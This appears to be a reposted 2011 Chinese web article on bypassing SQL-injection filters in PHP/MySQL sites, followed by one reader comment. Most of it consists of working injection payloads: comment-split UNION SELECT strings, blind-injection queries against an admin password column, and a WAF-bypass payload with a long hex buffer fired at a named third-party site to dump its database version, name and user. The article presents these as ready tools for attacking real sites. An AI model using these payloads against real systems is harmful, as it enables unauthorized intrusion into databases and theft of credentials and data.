当前位置:站长防黑网防黑文章防黑文章网站安全

文章正文

SQL绕过注入最新代码

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2011-07-17 23:05:46

自sql注入发展至今,许多安全文章似乎扭曲了不少人的注射思维,传统的检测注射方法是通过:

and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者

在数值注射 例如:id=1+1 或id=2-1,等等

本文的目的不是评判谁的检测方法实用,只是向大家推荐一些新的注射方式,可能早有人提及了:)

注:主要针对php下的mysql注射,可借鉴,就不一一介绍了

首先说判断:

Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null

或: and 2<=3

其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,<>等 都可用于判断

接着说注入

对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)

先说Union Select

对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?

可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去

查查相关资料,有异议的可给我留言.

当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:

id=1+union/*&name=*/select+1,2

代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2

这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻

下面说说Blind SqlIjection(盲注)

一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是

ord(mid(password,1,1))=56

在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据

此前,仍然向大家推荐一些新型的手法:

find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1

strcmp 例: strcmp(left(‘password’,1), 0×56) = 1

将这些函数套如子查询就是:

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false

老外NB 方法 还有 -.-

悲剧还是绕不过去,nnd。要是国内

的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高

http://www.saline33.tk/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-

靠,老外果然牛B 那么继续射

http://www.saline33.tk/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
ser()),3,4,5,6–+-
成功得到系统版本、当前数据库用户、用户名.
 

温馨提示:您正在浏览的是来自站长防黑网收集的文章【SQL绕过注入最新代码

Tags:

站长推荐相关文章
  • SQL绕过注入最新代码
  • 好的评价 如果您觉得此文章好,就请您
      0%(0)
    差的评价 如果您觉得此文章差,就请您
      0%(0)

    文章评论

    文章评论 评论内容只代表网友观点,与本站立场无关!
       评论摘要(共 1 条,得分 100 分,平均 100 分) 查看完整评论
    [回复] 1Oracle100   打分:100 分  发表时间:2011-12-25
    · 这个能绕过龙盾IIS防火墙吗?
    网站首页 关于本站 网站帮助 广告合作 联系我们 免责申明 网站地图  ©2010- zzfhw.com . All rights reserved. 站长防黑网 版权所有